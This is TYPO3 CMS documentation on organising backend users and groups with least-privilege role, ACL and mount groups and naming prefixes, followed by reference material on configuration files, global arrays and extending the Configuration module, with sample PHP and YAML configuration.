When creating backend users, avoid usage of generic usernames like editor, webmaster, proofreader, etc. Instead use their real names, such as johndoe, john.doe, or even their email address, john.doe@mail.com. This approach guarantees that the identity of the user logging into the TYPO3 backend is always known, as well as who is responsible for specific changes in content or configuration.

In the context of GDPR, it is recommended to use properly named accounts to easily distinguish individuals. Assigning top-level groups to these accounts makes identifying user roles straightforward.

Bad username setup

Bad username setup

Good username setup

Good username setup

How to ensure safety

When configuring TYPO3 permissions, begin by granting users only necessary access, adding more as needed for security. Avoid giving admin rights unless absolutely necessary, and use specialized accounts for routine tasks like content management.

For temporary TYPO3 backend access, like for a temp worker or student, use the feature to set an expiration date on accounts. This prevents security risks from inactive accounts. Regularly review and remove unnecessary accounts.

Secure each user account with a strong password and follow secure password guidelines for new or updated accounts. Promote cybersecurity by informing users about security policies. Additionally, enable Multi-factor authentication (MFA) for an extra security layer.

Set permissions via groups, not user records

Permissions, like module visibility, language options, and database or file access, can be configured via backend user records. While direct configuration on user records may seem convenient, especially for small projects, it can lead to long-term issues, such as difficulty tracking permission origins when spread across users and groups. Centralizing permissions in backend groups simplifies their management and maintenance.

User record without permissions

Avoid setting permissions directly through the backend user record

When permissions are assigned to individual users and groups, updating them requires editing each account. Setting permissions at the group level simplifies updates, as changes automatically apply to all group members.

File mounts and files management

When planning for permissions and file access, consider how many separate entry points (File Mounts) within file storage you will need. At a minimum, you should create separate folders for each site you manage and then configure them as distinct file mounts, which equate to separate backend groups. These groups can later be assigned to users, granting them access to such folders.

There are cases where some folders and the files within them have to be shared across multiple sites. For this purpose, create separate file mounts and dedicated groups for them. Then, combine these groups within a role group, ensuring that each user associated with such a role group will have access to the specified folders and files in the storage.

Storagefileadmin/Website B Filesfileadmin/website_b/Shared Filesfileadmin/shared/Website A Filesfileadmin/website_a/File Mountfileadmin/website_a/File Mountfileadmin/shared/File Mountfileadmin/website_a/FM_website_bBackend GroupFM_sharedBackend GroupFM_website_aBackend GroupR_website_b_editorBackend Group (Role)R_website_a_editorBackend Group (Role)Jane DoeUser - editor role on Website BJohn DoeUser - editor role on Website A
Sample backend groups hierarchy

This diagram demonstrates the potential structure of folders within storage. Create dedicated file mounts for folders, and then use those file mounts within backend user groups. This arrangement enables two users with editor roles to access distinct sets of folders: one can access files from Website A and Shared folders, while the other accesses Website B and Shared folders.

Often more complex configuration will be required, with a more nested folder structure for each site. However, the setup remains similar - create separate file mounts where needed and a backend group that will utilize this file mount. Then, assign such groups to role groups.

Setting up backend user groups

Backend user groups can be categorized into three main types. Those used to grant permissions to pages and define mounts for databases, categories, or files we can refer to as System Groups. The ones responsible for granting access to modules, various content elements, record types, and specific fields within forms can be termed Access Control List (ACL) Groups. Finally, we have Role Groups, which aggregate groups from both the System and ACL Groups to provide a permissions set representing a specific role.

This classification should not be seen as a TYPO3 standard, but rather as a guideline that will assist in configuring groups later on. Read more to discover the details.

System groups

System groups have the lowest level of permissions without which other groups like Access Control List (ACL) and Role groups will not work. They enable access to individual pages based on user and group IDs, allow definition of accessible sections of pages and categories tree for users, and determine access to files and folders within storages (via File Mounts). System groups are likely to be the ones you modify the least often.

Access Control List (ACL) groups

Access Control List (ACL) groups are the largest set of groups, used to set detailed permissions for elements like modules, dashboard widgets, tables for listing and editing, and specific fields in backend forms.

Ensure ACL groups grant essential permissions for specific elements management. For example, users managing custom record types (e.g., Article, Product) should list, create, and access records, possibly via a custom backend module or the List module. It's crucial to equip such a group with access to:

  • Listing and modifying the table of a records
  • Editing fields within the record that align with this group's purpose
  • Accessing the core List module or custom module for records management
  • If there are relations from this record, for example, to files, it should also permit uploading, selecting, and processing these files

Therefore, a group can be seen as an independent unit that provides complete access to a specific part of the system and can be integrated later with other units (groups).

Role groups as an aggregation of specific role permissions

Backend role groups in TYPO3 are designed to correspond to the specific roles users fulfill, such as editor, proofreader, etc. These groups accumulate permissions exclusively through the inheritance from subgroups. This hierarchical setup ensures that role groups can effectively grant users the precise set of permissions needed to perform their designated roles, such as editing.

By utilizing this structure, TYPO3 allows for a clear and organized approach to managing access rights, ensuring users have the permissions they need, nothing more, nothing less.

Implementing naming conventions for easy group management

TYPO3 currently lacks the feature to categorize backend user groups by context or purpose, sorting them alphabetically instead. While helpful for quick searches, this becomes cumbersome with many groups, when it is required to identify them by their purpose or scope.

The situation could worsen with multiple administrators managing group and user permissions. Without naming conventions for groups that all administrators adhere to, it may become challenging to identify the responsibilities of each group.

As detailed in the Access Control Options in TYPO3 chapter, these options can be categorized into types like access lists, mounts, page permissions, etc. This categorization can also aid in organizing backend user groups. Let’s explore how implementing prefixes in group names can help streamline their organization.

Role Group

ROLE_ or R_

Examples: R_editor, R_editor_advanced, R_proofreader

A group representing a specific role, such as editor or proofreader, will inherit permissions from multiple other groups (aggregates them) to compile the necessary permissions set.

Page Group

PAGE_GROUP_ or PG_

Examples: PG_website_a, PG_website_a_blog, PG_website_b, PG_website_b_gallery

Grants permissions to all pages in the pages tree for a given site or only selected branches of pages in the tree.

Those groups will be assigned directly to the pages (see Page Permissions for more details) following the TSConfig or the Permissions module configuration.

Database Mount

DATABASE_MOUNT_ or DBM_

Examples: DBM_website_a, DBM_website_a_blog, DBM_website_b, DBM_website_b_gallery

Specifies which portion (either the entirety or a segment) of the pages tree will be displayed to the user.

This setting is closely linked to page access permissions — without sufficient permissions to list the pages, a user will not be able to view the mounted page tree.

File Mount

FILE_MOUNT_ or FM_
Examples: FM_website_a, FM_website_a_blog, FM_website_b, FM_website_b_gallery, FM_shared

Grants access to the selected folders (File Mounts) within file storage.

Category Mount

CATEGORY_MOUNT_ or CM_

Examples: CM_website_a, CM_website_b

Provides access to system categories, or more precisely, to the entire categories tree or a portion of it.

Access Control Lists

ACCESS_CONTROL or ACL_

Examples: ACL_content_elements, ACL_news, ACL_news_extended, ACL_module_reports

These groups are the largest, defining granular access to content elements, plugins, modules, fields and more.

File Operations

FILE_OPERATION_ or FO_

Examples: FO_all, FO_read_write

Defines the range of allowed operations for files and folders, such as read, write, delete, etc.

Limit to languages

LANGUAGE_ or L_

Examples: L_all, L_english_german, L_en_pl_de

Specifies the languages available for managing content. Keep in mind that you would have to have access to the source language when creating the translation.

This method guarantees dedicated group prefixes for Pages access, Database Mounts, File Mounts, File Operations, Category Mounts, and module, table, widget, and language access. These examples are customizable to fit specific needs. Ensure each group name is straightforward and indicative of its permissions.

Prefixed group names

Prefixing group names makes them more organized and easier to search within forms

Describe the naming conventions in the TCA

For those managing backend groups, if you've adopted naming conventions, consider adding a field description in the TCA for be_groups, be_users, and related tables, detailing these conventions instead of referencing separate documentation. This ensures immediate visibility of the naming rules for anyone modifying group inheritance or assignments.

Add description to a form field through TCA
$GLOBALS['TCA']['be_users']['columns']['usergroup']['description'] =
 'Prefixes: R_ - Role, PG_ - Page Group, DBM_ - Database Mount, FM_ - File Mount,' .
 'FO_ - File Operations, CM_ - Category Mount, ACL_ - Access Control';
Copied!

This code demonstrates the assignment of a static description for the usergroup field in the backend user form. However, you should place it in a translation file and retrieve it from there for better flexibility and localization support.

Use the Notes field to describe the purpose of the group

Another good practice for managing backend groups is to clearly describe the purpose or scope of each group. This can be done using the Description field located within the Notes tab of the backend group form.

TCA field description

Describe the scope or purpose of the group

Example configuration of backend user groups

How backend user groups can be categorized, and organized using naming conventions to distinguish their purpose or context as well as following best practice and more advanced examples of group structures for projects with a single or multisite setup are discussed.

Backend groups’ structure for a small project

When setting up backend groups and permissions for small, single-site projects future complexity should be considered. Organizing groups by best practice from the start makes future extension and maintenance easier.

Consider a scenario where two role groups are required: one for general content management, named Content Editor, and one for survey management, named Survey Manager.

The following conditions should be met:

  • Both roles should manage content in all languages
  • Both roles should perform any file operations
  • The Content Editor role has a dedicated file mount for organizing files
  • The Survey Manager role should have access to a dedicated file mount within the same file storage
  • The Content Editor role should be able to view files uploaded by users with the Survey Manager role, as they might need them for blog posts mentioning the surveys
  • The Content Editor role should manage all types of content, except for surveys
  • The Content Editor should have access to a dedicated branch in system categories
  • The Survey Manager role should only see the storage folder and the part of the pages tree where the surveys are listed and rendered
  • The Survey Manager role does not need access to any system categories

With these requirements in mind, the backend groups structure can be planned. Following best practice of having System Groups and Access Control List Groups, it could look like this:

System GroupsAccess Control List GroupsPG_website_aDBM_website_aDBM_website_a_surveyFM_website_aFM_website_a_surveyCM_website_aFO_allL_allACL_content_elementsACL_newsACL_galleryACL_survey

Having defined all the required System and Access Control List groups, they can be combined to fulfill the Content Editor and Survey Manager role requirements.

Content EditorSurvey ManagerR_content_editorPG_website_aDBM_website_aFM_website_aFO_allL_allCM_website_aACL_content_elementsACL_newsACL_galleryR_survey_managerPG_website_aDBM_website_a_surveyFM_website_a_surveyFO_allL_allACL_survey

The System and Access Control List (ACL) groups serve as components that can be integrated into a larger entity, in this case, the role group. These role groups can then be assigned to users. As previously mentioned, permissions should only be assigned to users via role groups.

Backend group structure for a multi-site project

When creating backend user groups for a multi-site project, the approach is the same as that of smaller, single-site projects. Adhering to recommended best practice from the start simplifies building the website and prepares for a more advanced setup.

This scenario describes a project with three separate sites (a multi-site setup). There will be three distinct Content Editors roles, one for each site, along with other roles that will have cross-site access and permissions to manage content.

The following conditions should be met:

  • Project has 3 separate sites: Website A, Website B, Website C
  • Project has one default language and one translation to English language
  • For each site there are separate Content Editor roles as they will have different permissions
  • Content Editor roles on Website A and Website C will have access to all languages, while the Content Editor role for Website B will have access only to the English language
  • Each Content Editor role should have access to dedicated system categories branch
  • Each Content Editor role can manage general content elements
  • Content Editor role on Website A and C can manage news
  • Content Editor role on Website A and C can manage galleries
  • Content Editor role on Website A can manage use custom page types
  • Content Editor role on Website A can manage contact forms (send responses etc.)
  • Content Editor role on Website B can manage surveys

Start by creating the necessary groups to form role groups. This includes system groups for each site and shared groups across different roles and sites. Next, define the ACL groups, which will be universally reusable for all role groups on any site.

Website AWebsite BWebsite CPG_website_aDBM_website_aDBM_website_a_newsFM_website_aCM_website_aPG_website_bDBM_website_bDBM_website_b_newsDBM_website_b_surveyFM_website_bFM_website_b_surveyCM_website_bPG_website_cDBM_website_cFM_website_cCM_website_c
Shared System groupsShared ACL groupsFO_allL_allL_englishACL_content_elementsACL_newsACL_galleryACL_surveyACL_contact_formsACL_pages_custom

Groups specific to particular sites (e.g., page groups, database mounts) have been identified as well as the shared groups, which are universal, and reused across role groups. Use shared groups for for roles for single sites as well as for cross-site groups.

The ACL groups could be further granulated, by separating out permissions for different content elements and dividing records’ related groups into multiple ones — for editing records, managing lists and details through plugins, etc. It is not done here to avoid overly complicating the diagram, which is already quite comprehensive. However, in your setup, it might be necessary to create more ACL groups, each responsible for a smaller set of permissions than those shown here.

The desired backend groups structure and aggregation could look like this:

Website AWebsite BWebsite CR_website_a_editorPG_website_aDBM_website_aFM_website_aFO_allL_allCM_website_aACL_content_elementsACL_newsACL_galleryACL_pages_customACL_contact_formsR_website_b_editorPG_website_bDBM_website_bFM_website_bFO_allL_englishCM_website_bACL_content_elementsACL_surveyR_website_c_editorPG_website_cDBM_website_cFM_website_cFO_allL_allCM_website_cACL_content_elementsACL_news

The key concept that you should grasp here is that small backend groups are combined to form a Role group. Role groups are the 'top' tier and only they can be assigned to users later on.

Permissions synchronization

When administrators create backend users and groups in TYPO3, assigning permissions that are stored in the database, they can easily edit these settings via the backend module. However, managing these settings across different environments — testing, staging, and production — can be challenging.

Ensuring ACL configurations are consistent and synchronized can be time-consuming, often leading to issues. For example, developers might forget to update permissions across environments during deployments, causing inconsistencies. There are strategies to mitigate these synchronization challenges.

Managing database configurations: importing and exporting

A solution for synchronizing permissions across environments in TYPO3 is using the import/export feature (more details: TYPO3 Import / Export). This feature allows exporting and importing records, including relational data, across different instances.

However, you might prefer not to export/import backend user accounts directly. After importing groups and permissions, reassign these groups to existing users as needed. Keep in mind though, that managing environment-specific groups while updating others can be a complex task.

Deployable permissions

A highly desired feature not yet in TYPO3 core is Deployable permissions for ACLs, allowing permission sets to be stored in files for version control and easy deployment across environments. This ensures consistent permission application and simple updates or rollbacks via version control systems (VCS).

In the meantime, the community extension Permission Sets offers a workaround, linking permission sets to TYPO3 backend user groups via yaml files, filling this functionality gap. However, it's currently in the testing phase, as noted by its author.

Groups inheritance

Even though TYPO3 does not limit the depth of backend user group inheritance, it's advisable to avoid complex setups. Typically, 1 or 2 levels of inheritance should suffice. Such flat structures offer significant advantages over more complex, deeper inheritances, including easier maintenance, updates, and verification of the sources of specific permissions.

First levelSecond levelSystem GroupsACL GroupsUserR_role_groupPG_website_aDBM_website_aFM_website_aCM_website_aFO_allL_allACL_content_elementsACL_newsACL_galleryACL_survey
Backend groups hierarchy with 2 levels of inheritance

Settings and Configuration of TYPO3 systems and sites

TYPO3 settings can be changed in the backend, depending on the logged-in user's role:

System-wide settings
Can be changed by System Maintainers in the Admin Tools module.
Site-specific settings
Can be changed by backend Administrators in the Site Settings and Site Configuration modules.
Page/content element settings
Can be changed by Editors with the correct permissions in Page properties and in the content element editor.

Settings are values that can be changed in the backend by users with the appropriate permissions whereas configuration refers to static parameters in files that can only be changed by developers and integrators.

Table of Contents

Overview of configuration files and syntax

This page introduces TYPO3’s configuration files, syntax, and available configuration methods. For detailed information, refer to the relevant chapters or references.

TYPO3 is highly configurable—settings can be adjusted through the backend, extensions, or configuration files, and extended as needed.

Configuration overview: files

Global files

config/system/settings.php:
Contains the persisted $GLOBALS['TYPO3_CONF_VARS'] array. Settings configured in the backend by system maintainers in Admin Tools > Settings > Configure Installation-Wide Options are written to this file.
config/system/additional.php:
Can be used to override settings defined in config/system/settings.php
config/system/services.php and config/system/services.yaml:
These two files can be used to set up a global service configuration for a project that can be used in several project-specific extensions. This is explained in detail in the Dependency Injection: Installation-wide configuration section.
config/sites/<site>/config.yaml
This file is located in webroot/typo3conf/sites in non-Composer installations. The site configuration configured in the Site Management > Sites backend module is written to this file.

Extension files

composer.json
Composer configuration, required in Composer-based installations
ext_emconf.php
Extension declaration, required in Classic mode installations
ext_tables.php
Various configuration. Is used only for backend or CLI requests or when a valid BE user is authenticated.
ext_localconf.php
Various configuration. Is always included, whether frontend or backend.
ext_conf_template.txt
Define the "Extension Configuration" settings that can be changed in the backend.
Configuration/Services.yaml
Can be used to configure Console commands, Dashboard widgets, Event listeners and Dependency injection.
Configuration/TCA
TCA configuration.
Configuration/TSconfig/
TSconfig.
Configuration/TypoScript/
TypoScript configuration.

Configuration languages

TYPO3 uses several languages for configuration:

  • TypoScript syntax is used for frontend TypoScript and backend TypoScript (also called TSconfig). TypoScript has a unique syntax, shared by TypoScript and TSconfig. While the syntax is the same, their semantics differ.
  • Yaml is the configuration language of choice for newer TYPO3 system extensions like rte_ckeditor, form and the sites module. It has partly replaced TypoScript and TSconfig as configuration languages.
  • XML is used in FlexForms.
  • PHP is used for the $GLOBALS array which includes TCA ( $GLOBALS['TCA'] , Global Configuration ( GLOBALS['TYPO3_CONF_VARS']), User Settings ( $GLOBALS['TYPO3_USER_SETTINGS'], etc.

Configuration methods

Backend TypoScript (TSconfig)

TSconfig configures backend behavior in TYPO3, such as enabling views or customizing editing interfaces—without writing PHP. It can be applied at the page level (Page TSconfig) or to users and groups (User TSconfig).

TSconfig shares the same syntax as Frontend TypoScript, detailed in TypoScript syntax, but uses entirely different properties.

For full usage, API details, and load order, refer to:

Primarily used by integrators, TSconfig helps tailor the backend experience for users.

Frontend TypoScript

TypoScript (or TypoScript Templating) controls frontend rendering in TYPO3. It uses the syntax described in TypoScript Explained.

While once central to frontend output, much of its role has been replaced by Fluid. Today, TypoScript is often used to configure plugins, set global options, or prepare data for Fluid templates.

Still, the TypoScript Reference remains essential for integrators.

Global configuration arrays in PHP

Global Configuration Arrays in PHP

TYPO3 stores global configuration in the $GLOBALS PHP array. Key entries:

$GLOBALS['TCA']:
Defines how backend forms, fields, and data handling behave. It’s essential for developers and integrators. Full reference: TCA Reference. See also: Extending the TCA array.
$GLOBALS['TYPO3_CONF_VARS']:
Stores system-wide settings. Most can be changed in Admin Tools > Settings > Global Configuration. Values are saved in config/system/settings.php and can be overridden via config/system/additional.php.
Extension Configuration:
A subset of TYPO3_CONF_VARS, located in TYPO3_CONF_VARS['EXTENSIONS']. Used for extension-specific settings. Editable in the backend. Use the API.
Feature toggle API:
Enable or disable TYPO3 features via TYPO3_CONF_VARS['SYS']['features']. Toggle in the backend with admin rights. Use the Feature Toggle API.
User settings:
Stored in $GLOBALS['TYPO3_USER_SETTINGS'], they define backend user preferences.

Only system maintainers can change TYPO3_CONF_VARS, extension settings, and feature toggles in the backend. TCA and settings for the Logging and Caching frameworks must be edited manually in config/system/additional.php.

FlexForm

FlexForms are used to define options for plugins and content elements. They allow each element to be configured individually.

Values are editable in the backend when editing the content element. The schema is defined by the providing extension.

YAML

Several system extensions use YAML for configuration:

YAML files can be loaded using the YamlFileLoader.

Configuration module

The configuration module can be found at System > Configuration. It allows integrators to view and validate the global configuration of TYPO3. The module displays all relevant global variables such as TYPO3_CONF_VARS, TCA and many more, in a tree format which is easy to browse through. Over time this module got extended to also display the configuration of newly introduced features like the middleware stack or event listeners.

Extending the configuration module

To make this module more powerful a dedicated API is available which allows extension authors to extend the module so they can expose their own configurations.

By the nature of the API it is even possible to not just add new configuration but to also disable the display of existing configuration, if not needed in the specific installation.

Basic implementation

To extend the configuration module, a custom configuration provider needs to be registered. Each "provider" is responsible for one configuration. The provider is registered as a so-called "configuration module provider" by tagging it in the Services.yaml file. The provider class must implement the EXT:lowlevel/Classes/ConfigurationModuleProvider/ProviderInterface.php (GitHub).

The registration of such a provider looks like the following:

EXT:my_extension/Configuration/Services.yaml
myextension.configuration.module.provider.myconfiguration:
    class: 'Vendor\Extension\ConfigurationModuleProvider\MyProvider'
    tags:
        - name: 'lowlevel.configuration.module.provider'
          identifier: 'myProvider'
          before: 'beUserTsConfig'
          after: 'pagesTypes'
Copied!

A new service with a freely selectable name is defined by specifying the provider class to be used. Further, the new service must be tagged with the lowlevel.configuration.module.provider tag. Arbitrary attributes can be added to this tag. However, some are reserved and required for internal processing. For example, the identifier attribute is mandatory and must be unique. Using the before and after attributes, it is possible to specify the exact position on which the configuration will be displayed in the module menu.

The provider class has to implement the methods as required by the interface. A full implementation would look like this:

EXT:my_extension/Classes/ConfigurationModule/MyProvider.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\Processor\ConfigurationModule;

use TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\ProviderInterface;

final class MyProvider implements ProviderInterface
{
    private string $identifier;

    public function __invoke(array $attributes): self
    {
        $this->identifier = $attributes['identifier'];
        return $this;
    }

    public function getIdentifier(): string
    {
        return $this->identifier;
    }

    public function getLabel(): string
    {
        return 'My custom configuration';
    }

    public function getConfiguration(): array
    {
        $myCustomConfiguration = [
            // the custom configuration
        ];

        return $myCustomConfiguration;
    }
}
Copied!

The __invoke() method is called from the provider registry and provides all attributes, defined in the Services.yaml. This can be used to set and initialize class properties like the :php$identifier which can then be returned by the required method getIdentifier(). The getLabel() method is called by the configuration module when creating the module menu. And finally, the getConfiguration() method has to return the configuration as an array to be displayed in the module.

There is also the abstract class EXT:lowlevel/Classes/ConfigurationModuleProvider/AbstractProvider.php (GitHub) in place which already implements the required methods; except getConfiguration(). Please note, when extending this class, the attribute label is expected in the __invoke() method and must therefore be defined in the Services.yaml. Either a static text or a localized label can be used.

Since the registration uses the Symfony service container and provides all attributes using __invoke(), it is even possible to use dependency injection with constructor arguments in the provider classes.

Displaying values from $GLOBALS

If you want to display a custom configuration from the $GLOBALS array, you can also use the already existing \TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider . Define the key to be exposed using the globalVariableKey attribute.

This could look like this:

EXT:my_extension/Configuration/Services.yaml
myextension.configuration.module.provider.myconfiguration:
    class: 'TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider'
    tags:
        - name: 'lowlevel.configuration.module.provider'
          identifier: 'myConfiguration'
          label: 'My global var'
          globalVariableKey: 'MY_GLOBAL_VAR'
Copied!

Disabling an entry

To disable an already registered configuration add the disabled attribute set to true. For example, if you intend to disable the T3_SERVICES key you can use:

EXT:my_extension/Configuration/Services.yaml
lowlevel.configuration.module.provider.services:
    class: TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider
    tags:
        - name: 'lowlevel.configuration.module.provider'
          disabled: true
Copied!

Blinding configuration options

Sensitive data (like passwords or access tokens) should not be displayed in the configuration module. Therefore, the PSR-14 event ModifyBlindedConfigurationOptionsEvent is available to blind such configuration options.

$GLOBALS

TYPO3_CONF_VARS

TYPO3_CONF_VARS
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/Configuration/DefaultConfiguration.php
Frontend
yes

TYPO3 configuration array. Please refer to the chapter System configuration and the global settings.php where each option is described in detail.

Most values in this array can be accessed through the tool Admin Tools > Settings > Configure Installation-Wide Options.

TCA

TCA
Type
array
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\Bootstrap::loadExtensionTables()
Frontend
Yes, partly

T3_SERVICES

T3_SERVICES
Type
array
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalVariables()
Frontend
Yes

Global registration of services.

TSFE

TSFE
Type
TypoScriptFrontendController
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
yes

Deprecated since version 13.4

The class \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController and its global instance $GLOBALS['TSFE'] have been marked as deprecated. The class will be removed with TYPO3 v14.

Contains an instantiation of \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController .

Provides some public properties and methods which can be used by extensions. The public properties can also be used in TypoScript via TSFE.

More information is available in TSFE.

TYPO3_USER_SETTINGS

TYPO3_USER_SETTINGS
Type
array
Path
$GLOBALS
Defined
typo3/sysext/setup/ext_tables.php

Defines the form in the User Settings.

PAGES_TYPES

PAGES_TYPES
Type
array
Path
$GLOBALS
Defined
typo3/sysext/core/ext_tables.php
Frontend
(occasionally)

$GLOBALS['PAGES_TYPES'] defines the various types of pages ( doktype) the system can handle and what restrictions may apply to them.

Here you can define which tables are allowed on a certain page types ( doktype).

The default configuration applies if the page type is not defined otherwise.

BE_USER

BE_USER
Type
\TYPO3\CMS\Core\Authentication\BackendUserAuthentication
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser()
Frontend
(depends)

Backend user object. See Backend user object.

EXEC_TIME

EXEC_TIME
Type
int
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables()
Frontend
yes

Is set to time() so that the rest of the script has a common value for the script execution time.

SIM_EXEC_TIME

SIM_EXEC_TIME
Type
int
Path
$GLOBALS
Defined
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables()
Frontend
yes

Is set to $GLOBALS['EXEC_TIME'] but can be altered later in the script if we want to simulate another execution-time when selecting from e.g. a database (used in the frontend for preview of future and past dates)

LANG

LANG
Type
\TYPO3\CMS\Core\Localization\LanguageService
Path
$GLOBALS
Defined
is initialized via \TYPO3\CMS\Core\Localization\LanguageServiceFactory
Frontend
no

The LanguageService can be used to fetch translations.

More information about retrieving the LanguageService is available in Localization in PHP.

Exploring global variables

Many of the global variables described above can be inspected using the module System > Configuration.

Viewing the $GLOBALS['TYPO3_CONF_VARS] array using the Admin Tools > Configuration module

System configuration and the global settings.php

System configuration settings, such as database credentials, logging levels, mail settings, etc, are stored in the central file system/settings.php.

This file is primarily managed by TYPO3. Settings can be changed in the Admin Tools modules by users with the system maintainer role.

The file system/settings.php is created during the setup process.

Configuration options are stored internally in the global array $GLOBALS['TYPO3_CONF_VARS'] .

They can be overridden in the file system/additional.php. Some settings can also be overridden by installed extensions. They are then defined in extension file ext_localconf.php for the frontend and backend contexts or in the extension ext_tables.php for the backend context only.

This chapter describes the global configuration in more detail and gives hints about further configuration possibilities.

System configuration files

The configuration files settings.php and additional.php are located in the directory config/system/ in Composer-based installations. In Classic mode installations they are located in typo3conf/system/.

This path can be retrieved from the Environment API. See getConfigPath() for both Composer-based and Classic mode installations.

Global configuration is stored in file config/system/settings.php in Composer-based extensions and typo3conf/system/settings.php in Classic mode installations.

This file overrides default settings from typo3/sysext/core/Configuration/DefaultConfiguration.php.

File config/system/settings.php

config/system/settings.php

settings.php
Scope
project
Path (Composer)
config/system/settings.php
Path (Classic)
typo3conf/system/settings.php

The most important configuration file is settings.php. It contains local settings in the main global PHP array $GLOBALS['TYPO3_CONF_VARS'] , for example, important settings like database connection credentials are in here. The file is managed in Admin Tools.

The local configuration file is basically a long array which is returned when the file is included. It represents the global TYPO3 configuration. This configuration can be modified/extended/overridden by extensions by setting configuration options inside an extension's ext_localconf.php file. See extension files and locations for more details about extension structure.

config/system/settings.php typically looks like this:

config/system/settings.php | typo3conf/system/settings.php
<?php

return [
    'BE' => [
        'debug' => true,
        'explicitADmode' => 'explicitAllow',
        'installToolPassword' => '$P$Cbp90UttdtIKELNrDGjy4tDxh3uu9D/',
        'loginSecurityLevel' => 'normal',
    ],
    'DB' => [
        'Connections' => [
            'Default' => [
                'charset' => 'utf8',
                'dbname' => 'empty_typo3',
                'driver' => 'mysqli',
                'host' => '127.0.0.1',
                'password' => 'foo',
                'port' => 3306,
                'user' => 'bar',
            ],
        ],
    ],
    'EXTCONF' => [
        'lang' => [
            'availableLanguages' => [
                'de',
                'eo',
            ],
        ],
    ],
    'EXTENSIONS' => [
        'backend' => [
            'backendFavicon' => '',
            'backendLogo' => '',
            'loginBackgroundImage' => '',
            'loginFootnote' => '',
            'loginHighlightColor' => '',
            'loginLogo' => '',
        ],
        'extensionmanager' => [
            'automaticInstallation' => '1',
            'offlineMode' => '0',
        ],
        'scheduler' => [
            'maxLifetime' => '1440',
            'showSampleTasks' => '1',
        ],
    ],
    'FE' => [
        'debug' => true,
        'loginSecurityLevel' => 'normal',
    ],
    'GFX' => [
        'jpg_quality' => '80',
    ],
    'MAIL' => [
        'transport_sendmail_command' => '/usr/sbin/sendmail -t -i ',
    ],
    'SYS' => [
        'devIPmask' => '*',
        'displayErrors' => 1,
        'encryptionKey' => '0396e1b6b53bf48b0bfed9e97a62744158452dfb9b9909fe32d4b7a709816c9b4e94dcd69c011f989d322cb22309f2f2',
        'exceptionalErrors' => 28674,
        'sitename' => 'New TYPO3 site',
    ],
];
Copied!

As you can see, the array is structured on two main levels. The first level corresponds roughly to categories and the second level to properties, which may themselves be arrays.

config/system/additional.php

additional.php
Scope
project
Path (Composer)
config/system/additional.php
Path (Classic)
typo3conf/system/additional.php

The settings in settings.php can be overridden by changes in the additional.php file, which is never touched by TYPO3 internal management tools. Be aware that having settings within additional.php may prevent the system from performing automatic upgrades and should be used with care and only if you know what you are doing.

File config/system/additional.php

Although you can manually edit the config/system/settings.php file, the changes that you can make are limited because the file is expected to return a PHP array. Also, the file is rewritten every time an option is changed in the Install Tool or other operations (like changing an extension configuration in the Extension Manager) so do not put custom code in this file.

Custom code should be placed in the config/system/additional.php file. This file is never touched by TYPO3, so any code will be left alone.

As this file is loaded after config/system/settings.php, you can make programmatic changes to global configuration values here.

config/system/additional.php is a plain PHP file. There are no specific rules about what it may contain. However, since the code is included in every request to TYPO3 - whether frontend or backend - you should avoid inserting code which requires a lot of processing time.

Example: Changing the database hostname for development machines

config/system/additional.php | typo3conf/system/additional.php
<?php

use TYPO3\CMS\Core\Core\Environment;

$applicationContext = Environment::getContext();

if ($applicationContext->isDevelopment()) {
    $GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive(
        $GLOBALS['TYPO3_CONF_VARS'],
        [
            // Use DDEV default database credentials during development
            'DB' => [
                'Connections' => [
                    'Default' => [
                        'dbname' => 'db',
                        'driver' => 'mysqli',
                        'host' => 'db',
                        'password' => 'db',
                        'port' => '3306',
                        'user' => 'db',
                    ],
                ],
            ],
            // This mail configuration sends all emails to mailpit
            'MAIL' => [
                'transport' => 'smtp',
                'transport_smtp_encrypt' => false,
                'transport_smtp_server' => 'localhost:1025',
            ],
            // Allow all .ddev.site hosts
            'SYS' => [
                'trustedHostsPattern' => '.*.ddev.site',
            ],
        ],
    );
}
Copied!

System configuration categories

BE
Options related to the TYPO3 backend.
DB
Database connection configuration.
EXT
Extension installation options.
EXTCONF
Backend-related language pack configuration resides here.
EXTENSIONS
Extension configuration.
FE
Frontend-related options.
GFX
Options related to image manipulation..
HTTP
Settings for tuning HTTP requests made by TYPO3.
LOG
Configuration of the logging system.
MAIL
Options related to the sending of emails (transport, server, etc.).
SVCONF
Service API configuration.
SYS
General options which may affect both the frontend and the backend.
T3_SERVICES
Service registration configuration and the backend.

Further details on the various configuration options can be found in the Admin Tools module as well as the TYPO3 source at EXT:core/Configuration/DefaultConfigurationDescription.yaml. The documentation shown in the Admin Tools module is automatically extracted from those values in DefaultConfigurationDescription.yaml.

The Admin Tools module provides various sections that change parts of config/system/settings.php. They can be found in Admin Tools > Settings - most importantly section Configure installation-wide options:

Configure installation-wide options Admin Tools > Settings

Configure installation-wide options with an active search

File DefaultConfiguration.php

TYPO3 comes with some default settings which are defined in file EXT:core/Configuration/DefaultConfiguration.php. View the file on GitHub: EXT:core/Configuration/DefaultConfiguration.php (GitHub).

This file defines configuration defaults that can be overridden in the files config/system/settings.php and config/system/additional.php.

vendor/typo3/cms-core/Configuration/DefaultConfiguration.php (Extract)
<?php

return [
    'GFX' => [
        'thumbnails' => true,
        'thumbnails_png' => true,
        'gif_compress' => true,
        'imagefile_ext' => 'gif,jpg,jpeg,tif,tiff,bmp,pcx,tga,png,pdf,ai,svg',
        // ...
    ],
    // ...
];
Copied!

